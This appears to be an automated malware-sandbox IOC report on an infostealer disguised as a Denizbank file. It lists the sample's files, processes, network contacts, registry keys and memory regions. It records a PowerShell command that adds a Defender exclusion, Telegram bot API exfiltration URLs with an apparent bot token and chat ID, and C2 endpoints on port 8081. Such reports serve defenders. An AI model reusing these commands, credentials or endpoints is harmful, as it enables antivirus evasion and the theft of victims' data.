IOC Report
denizbank 25.11.2024 E80 aspc.exe

loading gif

Files

File Path
Type
Category
Malicious
denizbank 25.11.2024 E80 aspc.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
initial sample
 malicious
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\denizbank 25.11.2024 E80 aspc.exe.log
ASCII text, with CRLF line terminators
dropped
 malicious
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
dropped
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5nk0uybc.sli.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fsjdu3er.vuh.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_puj3agw1.25q.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tx2x2e5c.zxc.ps1
ASCII text, with no line terminators
dropped

Processes

Path
Cmdline
Malicious
C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe
"C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe"
 malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe"
malicious
C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe
"C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe"
 malicious
C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe
"C:\Users\user\Desktop\denizbank 25.11.2024 E80 aspc.exe"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
https://www.office.com/
unknown
http://www.apache.org/licenses/LICENSE-2.0
unknown
http://www.fontbureau.com
unknown
http://www.fontbureau.com/designersG
unknown
http://www.fontbureau.com/designers/?
unknown
http://www.founder.com.cn/cn/bThe
unknown
https://api.telegram.org
unknown
https://api.telegram.org/bot
unknown
http://www.fontbureau.com/designers?
unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2026/11/2024%20/%2007:56:04%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D
149.154.167.220
http://tempuri.org/DataSet1.xsd
unknown
http://www.tiro.com
unknown
http://www.fontbureau.com/designers
unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
unknown
http://www.goodfont.co.kr
unknown
https://chrome.google.com/webstore?hl=en
unknown
https://reallyfreegeoip.org/xml/8.46.123.75
104.21.67.152
http://varders.kozow.com:8081
unknown
http://www.carterandcone.coml
unknown
http://www.sajatypeworks.com
unknown
http://aborters.duckdns.org:8081
unknown
http://www.typography.netD
unknown
http://www.fontbureau.com/designers/cabarga.htmlN
unknown
http://www.founder.com.cn/cn/cThe
unknown
http://www.galapagosdesign.com/staff/dennis.htm
unknown
http://www.founder.com.cn/cn
unknown
http://www.fontbureau.com/designers/frere-user.html
unknown
http://checkip.dyndns.org/
193.122.130.0
http://51.38.247.67:8081/_send_.php?L
unknown
http://anotherarmy.dns.army:8081
unknown
https://api.telegram.org/bot7763512808:AAF6jV3Q9vl-Dge89AACabTutj739SesQH0/sendDocument?chat_id=-4551023826&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery
149.154.167.220
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
unknown
http://checkip.dyndns.org/q
unknown
http://www.jiyu-kobo.co.jp/
unknown
http://www.galapagosdesign.com/DPlease
unknown
http://www.fontbureau.com/designers8
unknown
http://www.fonts.com
unknown
http://www.sandoll.co.kr
unknown
http://www.urwpp.deDPlease
unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
unknown
http://www.zhongyicts.com.cn
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
http://www.sakkal.com
unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
unknown
https://api.telegram.org/bot7763512808:AAF6jV3Q9vl-Dge89AACabTutj739SesQH0/sendDocument?chat_id=-455
unknown
https://reallyfreegeoip.org/xml/
unknown
There are 37 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
bg.microsoft.map.fastly.net
199.232.214.172
reallyfreegeoip.org
104.21.67.152
api.telegram.org
149.154.167.220
checkip.dyndns.com
193.122.130.0
checkip.dyndns.org
unknown

IPs

IP
Domain
Country
Malicious
149.154.167.220
api.telegram.org
United Kingdom
104.21.67.152
reallyfreegeoip.org
United States
193.122.130.0
checkip.dyndns.com
United States

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\denizbank 25_RASMANCS
FileDirectory
There are 5 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
3801000
trusted library allocation
page read and write
 malicious
2DA8000
trusted library allocation
page read and write
 malicious
2D31000
trusted library allocation
page read and write
 malicious
5270000
trusted library section
page read and write
 malicious
402000
remote allocation
page execute and read and write
 malicious
6BE0000
trusted library allocation
page read and write
1460000
heap
page read and write
7F7F0000
trusted library allocation
page execute and read and write
589E000
heap
page read and write
11B0000
heap
page read and write
3E62000
trusted library allocation
page read and write
10D3000
trusted library allocation
page execute and read and write
A3CE000
stack
page read and write
3E42000
trusted library allocation
page read and write
2CB0000
trusted library allocation
page read and write
521E000
stack
page read and write
3F95000
trusted library allocation
page read and write
3E18000
trusted library allocation
page read and write
10ED000
trusted library allocation
page execute and read and write
4C6D000
trusted library allocation
page read and write
274F000
stack
page read and write
E50000
heap
page read and write
6960000
trusted library allocation
page read and write
3E78000
trusted library allocation
page read and write
525E000
stack
page read and write
10E0000
trusted library allocation
page read and write
10F6000
trusted library allocation
page execute and read and write
52A0000
trusted library allocation
page read and write
3E87000
trusted library allocation
page read and write
6DFC000
stack
page read and write
4D80000
trusted library section
page readonly
75A7000
trusted library allocation
page read and write
10C0000
trusted library allocation
page read and write
8F7000
stack
page read and write
407C000
trusted library allocation
page read and write
5363000
heap
page read and write
E80000
trusted library allocation
page read and write
DFE000
stack
page read and write
3F97000
trusted library allocation
page read and write
6B90000
trusted library allocation
page read and write
2CBB000
trusted library allocation
page read and write
588E000
stack
page read and write
3E26000
trusted library allocation
page read and write
6982000
trusted library allocation
page read and write
A60000
trusted library allocation
page read and write
7220000
trusted library allocation
page read and write
A2CE000
stack
page read and write
6BDA000
stack
page read and write
5FE000
stack
page read and write
75EE000
stack
page read and write
4F40000
heap
page execute and read and write
791E000
stack
page read and write
400000
remote allocation
page execute and read and write
61CF000
stack
page read and write
4C44000
trusted library allocation
page read and write
A66E000
stack
page read and write
4071000
trusted library allocation
page read and write
A90C000
stack
page read and write
5F3C000
heap
page read and write
FB0000
heap
page read and write
4D22000
trusted library allocation
page read and write
6D6E000
heap
page read and write
BC3000
heap
page read and write
2846000
trusted library allocation
page read and write
578E000
stack
page read and write
5B0000
heap
page read and write
3E0000
unkown
page readonly
3F18000
trusted library allocation
page read and write
6B70000
trusted library allocation
page read and write
6AF0000
trusted library allocation
page read and write
1180000
heap
page read and write
52CD000
stack
page read and write
7136000
heap
page read and write
4C4B000
trusted library allocation
page read and write
6B10000
trusted library allocation
page execute and read and write
117E000
stack
page read and write
3E1E000
trusted library allocation
page read and write
1454000
trusted library allocation
page read and write
5360000
heap
page read and write
660E000
heap
page read and write
3DED000
trusted library allocation
page read and write
5F88000
heap
page read and write
10D0000
trusted library allocation
page read and write
4006000
trusted library allocation
page read and write
B7E000
stack
page read and write
4CF3000
heap
page read and write
2E7A000
trusted library allocation
page read and write
A50000
trusted library allocation
page read and write
A42D000
stack
page read and write
3E60000
trusted library allocation
page read and write
10DD000
trusted library allocation
page execute and read and write
AA70000
trusted library allocation
page execute and read and write
3F24000
trusted library allocation
page read and write
5860000
heap
page read and write
1100000
heap
page read and write
A18D000
stack
page read and write
3E24000
trusted library allocation
page read and write
AA4E000
stack
page read and write
3FC6000
trusted library allocation
page read and write
58B0000
heap
page read and write
B8E000
heap
page read and write
F6E000
stack
page read and write
2758000
trusted library allocation
page read and write
A70000
heap
page read and write
3E0A000
trusted library allocation
page read and write
9E0E000
stack
page read and write
4D2B000
trusted library allocation
page read and write
6A0E000
stack
page read and write
48FC000
stack
page read and write
10D4000
trusted library allocation
page read and write
6A50000
trusted library allocation
page execute and read and write
2CDD000
trusted library allocation
page read and write
A6D000
trusted library allocation
page execute and read and write
2D9C000
trusted library allocation
page read and write
6AE0000
trusted library allocation
page execute and read and write
3D53000
trusted library allocation
page read and write
4C72000
trusted library allocation
page read and write
6602000
heap
page read and write
2C6C000
stack
page read and write
68CF000
stack
page read and write
5F5C000
heap
page read and write
D9B000
trusted library allocation
page execute and read and write
A40000
trusted library allocation
page read and write
5290000
trusted library allocation
page read and write
9DCF000
stack
page read and write
6E40000
heap
page read and write
5534000
trusted library allocation
page read and write
1467000
heap
page read and write
289D000
trusted library allocation
page read and write
3AC6000
trusted library allocation
page read and write
6A40000
trusted library allocation
page read and write
4D40000
trusted library allocation
page read and write
6B62000
trusted library allocation
page read and write
5ED0000
heap
page read and write
1112000
trusted library allocation
page read and write
5879000
heap
page read and write
10FA000
trusted library allocation
page execute and read and write
4027000
trusted library allocation
page read and write
FB5000
heap
page read and write
529000
stack
page read and write
D86000
trusted library allocation
page execute and read and write
11A0000
trusted library allocation
page execute and read and write
A190000
heap
page read and write
4004000
trusted library allocation
page read and write
4029000
trusted library allocation
page read and write
2CBE000
trusted library allocation
page read and write
1268000
heap
page read and write
11B8000
heap
page read and write
1117000
trusted library allocation
page execute and read and write
2D90000
trusted library allocation
page read and write
6647000
heap
page read and write
4C66000
trusted library allocation
page read and write
3E22000
trusted library allocation
page read and write
77BE000
stack
page read and write
AEA000
stack
page read and write
590000
heap
page read and write
BEE000
heap
page read and write
A08D000
stack
page read and write
4D70000
trusted library allocation
page read and write
3FC8000
trusted library allocation
page read and write
6A30000
trusted library allocation
page execute and read and write
2801000
trusted library allocation
page read and write
4F30000
heap
page read and write
A53000
trusted library allocation
page execute and read and write
6B80000
trusted library allocation
page read and write
6E10000
trusted library allocation
page execute and read and write
634E000
stack
page read and write
58CD000
stack
page read and write
58AC000
heap
page read and write
7230000
trusted library allocation
page execute and read and write
3F3C000
trusted library allocation
page read and write
A0E000
stack
page read and write
6A10000
trusted library allocation
page execute and read and write
6610000
heap
page read and write
3FAE000
trusted library allocation
page read and write
4D30000
trusted library allocation
page execute and read and write
11DA000
heap
page read and write
4CA0000
trusted library allocation
page read and write
E70000
trusted library allocation
page execute and read and write
3FC2000
trusted library allocation
page read and write
BE7000
stack
page read and write
5910000
trusted library allocation
page read and write
5A0000
heap
page read and write
3E68000
trusted library allocation
page read and write
65D5000
heap
page read and write
D7E000
stack
page read and write
10BE000
stack
page read and write
7160000
heap
page read and write
1295000
heap
page read and write
2EB5000
trusted library allocation
page read and write
3A82000
trusted library allocation
page read and write
4F8C000
stack
page read and write
4FA0000
trusted library allocation
page execute and read and write
E00000
heap
page execute and read and write
5536000
trusted library allocation
page read and write
5870000
heap
page read and write
6B07000
trusted library allocation
page read and write
4FEE000
stack
page read and write
D80000
trusted library allocation
page read and write
7A1D000
stack
page read and write
648E000
stack
page read and write
406C000
trusted library allocation
page read and write
4C40000
trusted library allocation
page read and write
4C95000
trusted library allocation
page read and write
E90000
trusted library allocation
page read and write
27F0000
heap
page read and write
4087000
trusted library allocation
page read and write
10F2000
trusted library allocation
page read and write
6B54000
trusted library allocation
page read and write
7C1F000
stack
page read and write
630E000
stack
page read and write
6E30000
heap
page read and write
534D000
stack
page read and write
2D94000
trusted library allocation
page read and write
2C70000
heap
page read and write
5410000
heap
page read and write
3E66000
trusted library allocation
page read and write
70FD000
stack
page read and write
2CD6000
trusted library allocation
page read and write
553A000
trusted library allocation
page read and write
5250000
heap
page read and write
1115000
trusted library allocation
page execute and read and write
762E000
stack
page read and write
6F5E000
stack
page read and write
2CF0000
trusted library allocation
page read and write
5540000
heap
page execute and read and write
2D98000
trusted library allocation
page read and write
1440000
trusted library allocation
page read and write
3FBC000
trusted library allocation
page read and write
2D89000
trusted library allocation
page read and write
EA0000
heap
page read and write
4CF0000
heap
page read and write
401E000
trusted library allocation
page read and write
A52E000
stack
page read and write
6A20000
trusted library allocation
page read and write
2CCE000
trusted library allocation
page read and write
49A000
unkown
page readonly
7110000
heap
page read and write
10F0000
trusted library allocation
page read and write
4E2E000
stack
page read and write
591D000
trusted library allocation
page read and write
3FA7000
trusted library allocation
page read and write
75A0000
trusted library allocation
page read and write
4078000
trusted library allocation
page read and write
111B000
trusted library allocation
page execute and read and write
A1A8000
heap
page read and write
D97000
trusted library allocation
page execute and read and write
7140000
trusted library allocation
page execute and read and write
6590000
heap
page read and write
11E6000
heap
page read and write
D8A000
trusted library allocation
page execute and read and write
B80000
heap
page read and write
3EEA000
trusted library allocation
page read and write
5520000
trusted library allocation
page read and write
2E05000
trusted library allocation
page read and write
3E7F000
trusted library allocation
page read and write
2DA4000
trusted library allocation
page read and write
684E000
stack
page read and write
6B26000
trusted library allocation
page read and write
123B000
heap
page read and write
674E000
stack
page read and write
3D59000
trusted library allocation
page read and write
9F4E000
stack
page read and write
EA7000
heap
page read and write
3FBA000
trusted library allocation
page read and write
3E50000
trusted library allocation
page read and write
700E000
stack
page read and write
2A88000
trusted library allocation
page read and write
BB5000
heap
page read and write
DB0000
trusted library allocation
page read and write
B9F000
heap
page read and write
3FB6000
trusted library allocation
page read and write
7350000
trusted library allocation
page read and write
4F90000
heap
page read and write
A80B000
stack
page read and write
710E000
stack
page read and write
3FE6000
trusted library allocation
page read and write
3E2000
unkown
page readonly
A04E000
stack
page read and write
3EE8000
trusted library allocation
page read and write
4CC0000
trusted library allocation
page read and write
2CD1000
trusted library allocation
page read and write
690E000
stack
page read and write
5255000
heap
page read and write
4C61000
trusted library allocation
page read and write
A5D000
trusted library allocation
page execute and read and write
E50000
heap
page read and write
2B20000
heap
page read and write
D82000
trusted library allocation
page read and write
6D60000
heap
page read and write
644E000
stack
page read and write
4057000
trusted library allocation
page read and write
D92000
trusted library allocation
page read and write
4D20000
trusted library allocation
page read and write
BC0000
heap
page read and write
518E000
stack
page read and write
2D20000
heap
page execute and read and write
7100000
trusted library allocation
page read and write
3E16000
trusted library allocation
page read and write
66CE000
stack
page read and write
A54000
trusted library allocation
page read and write
590E000
stack
page read and write
1450000
trusted library allocation
page read and write
4C80000
trusted library allocation
page read and write
A75000
heap
page read and write
3D9D000
trusted library allocation
page read and write
6FF9000
stack
page read and write
E4B000
stack
page read and write
3FCA000
trusted library allocation
page read and write
F70000
heap
page read and write
6B00000
trusted library allocation
page read and write
4D10000
heap
page read and write
9F0E000
stack
page read and write
3EDF000
trusted library allocation
page read and write
3D3B000
trusted library allocation
page read and write
408A000
trusted library allocation
page read and write
C76000
heap
page read and write
2C2E000
stack
page read and write
1110000
trusted library allocation
page read and write
688E000
stack
page read and write
3DF3000
trusted library allocation
page read and write
A56D000
stack
page read and write
1107000
heap
page read and write
7134000
heap
page read and write
670F000
stack
page read and write
3DF1000
trusted library allocation
page read and write
658E000
stack
page read and write
3E12000
trusted library allocation
page read and write
6B65000
trusted library allocation
page read and write
4C5E000
trusted library allocation
page read and write
3FF4000
trusted library allocation
page read and write
6B60000
trusted library allocation
page read and write
71A0000
heap
page read and write
3F91000
trusted library allocation
page read and write
4D90000
heap
page read and write
3E03000
trusted library allocation
page read and write
1130000
trusted library allocation
page read and write
5F6D000
heap
page read and write
7210000
trusted library allocation
page execute and read and write
3EC7000
trusted library allocation
page read and write
6A80000
trusted library allocation
page execute and read and write
712C000
heap
page read and write
3D31000
trusted library allocation
page read and write
2D00000
trusted library allocation
page read and write
A94E000
stack
page read and write
7B1E000
stack
page read and write
2DA0000
trusted library allocation
page read and write
7630000
trusted library section
page read and write
4C90000
trusted library allocation
page read and write
711D000
heap
page read and write
There are 340 hidden memdumps, click here to show them.